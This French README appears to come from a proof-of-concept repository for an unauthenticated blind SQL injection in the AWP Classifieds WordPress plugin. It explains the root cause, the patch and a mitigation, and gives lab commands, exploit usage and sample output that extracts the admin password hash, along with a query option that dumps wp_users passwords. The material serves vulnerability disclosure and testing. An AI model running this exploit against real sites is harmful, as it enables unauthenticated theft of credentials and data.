
PoC d'injection SQL aveugle temporelle non authentifiée pour AWP Classifieds <= 4.4.7, avec un lab Docker, un writeup complet et un diff de correctif.
Injection SQL aveugle basée sur le temps, non authentifiée, dans l'extension WordPress
AWP Classifieds (another-wordpress-classifieds-plugin), accessible via
le flux AJAX anonyme (invité) de soumission d'annonces de l'extension.
| CVE | CVE-2026-59550 |
| Extension | AWP Classifieds (another-wordpress-classifieds-plugin) |
| Vulnérable | <= 4.4.7 |
| Corrigé | 4.4.8 |
| Classe | Injection SQL (OWASP A3: Injection) |
| Privilège | Non authentifié |
| CVSS v3.1 | 9.3 (Élevé) |
| Point d'injection | AWPCP_BasicRegionsAPI::save() - includes/regions-api.php |
| Signalé par | Thaer Assfour (via Patchstack) |
| Avis | https://patchstack.com/database/wordpress/plugin/another-wordpress-classifieds-plugin/vulnerability/wordpress-awp-classifieds-plugin-4-4-7-sql-injection-vulnerability |
AWPCP_BasicRegionsAPI::save() transmet les clés d'un tableau
regions fourni par l'utilisateur directement dans $wpdb->insert() / $wpdb->update().
WordPress entoure les noms de colonnes de backticks mais ne les échappe pas, donc une
clé contenant un backtick s'échappe de l'identifiant et injecte du SQL arbitraire. Le tableau regions est pris
tel quel depuis $_POST et toute la chaîne est
accessible sans authentification dès que la publication d'annonces par les invités est activée
(requireuserregistration = 0, la valeur par défaut).
Le correctif en 4.4.8 ajoute une liste blanche explicite de colonnes
(filter_region_columns()) et une liste blanche de champs pour les régions soumises
(prepare_submitted_region()).
.
├── README.md # this file
├── docs/
│ └── WRITEUP.md # full technical writeup
├── exploit/
│ ├── exploit.py # unauthenticated blind SQLi PoC
│ └── requirements.txt
├── lab/
│ ├── docker-compose.yml # WordPress 6.8 + MariaDB 11, vuln + patched
│ ├── setup.sh # stage plugins, boot, provision both sites
│ └── teardown.sh # remove containers + volumes + staged files
└── patches/
├── 4.4.8-regions-api.diff # the security fix (single file)
└── 4.4.7-to-4.4.8-full.diff # complete release diff
Prérequis : Docker + Docker Compose, Python 3 avec requests, unzip.
# 1. build and provision the disposable lab (Docker only)
cd lab
./setup.sh /path/to/another-wordpress-classifieds-plugin.4.4.7.zip \
/path/to/another-wordpress-classifieds-plugin.4.4.8.zip
# -> vulnerable (4.4.7): http://localhost:8080/?page_id=8
# -> patched (4.4.8): http://localhost:8090/?page_id=8
# 2. run the PoC
cd ../exploit
python3 -m pip install -r requirements.txt
python3 exploit.py http://localhost:8080 # should be VULNERABLE
python3 exploit.py http://localhost:8090 # should be PATCHED
# 3. tear everything down
cd ../lab && ./teardown.sh
setup.sh accepte les deux archives de l'extension en arguments ou via les
variables d'environnement AWP447_ZIP / AWP448_ZIP ; il se rabat sur
~/Downloads/<slug>.4.4.7.zip et ~/Downloads/<slug>.4.4.8.zip.
Les archives ne sont pas versionnées dans ce dépôt - les copies brutes du cœur WordPress
et de l'extension résident uniquement dans lab/html-*/ et sont ignorées par git.
[*] target : http://localhost:8080
[+] anonymous listing=17 transaction=e40d5a20c91e22db865cb6612f5c2908 nonce=f59eb541e1
[*] probing time-based oracle
[+] target is VULNERABLE to unauthenticated blind SQL injection
[+] admin / $wp$2y$10$AcAkM9QXI8OnCEEdht5G.eMnUX5y6Esb2BTEPN
[*] extracting data without authentication
[+] DBMS version : 11.8.9-MariaDB
[+] first WP user : admin
Extrayez des données arbitraires avec une requête explicite :
python3 exploit.py http://localhost:8080 \
--query "SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1" \
--maxlen 60
Le PoC est un oracle basé sur le temps, il n'a donc besoin d'aucune réflexion de la sortie SQL et fonctionne sur une cible totalement aveugle.
// includes/regions-api.php (4.4.7)
public function save( $region ) {
...
$result = $this->db->insert( AWPCP_TABLE_AD_REGIONS, $region ); // keys -> SQL identifiers
}
Voir docs/WRITEUP.md pour l'analyse complète de la propagation,
la trace de la requête, la preuve du SQL généré et la discussion du correctif.
requireuserregistration = 1 et/ou bloquez les
actions AJAX awpcp_save_listing_information / awpcp_create_empty_listing.Ce matériel est fourni uniquement à des fins de recherche en sécurité défensive, d'éducation et de tests autorisés. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation écrite explicite de tester. Le laboratoire est entièrement conteneurisé et jetable.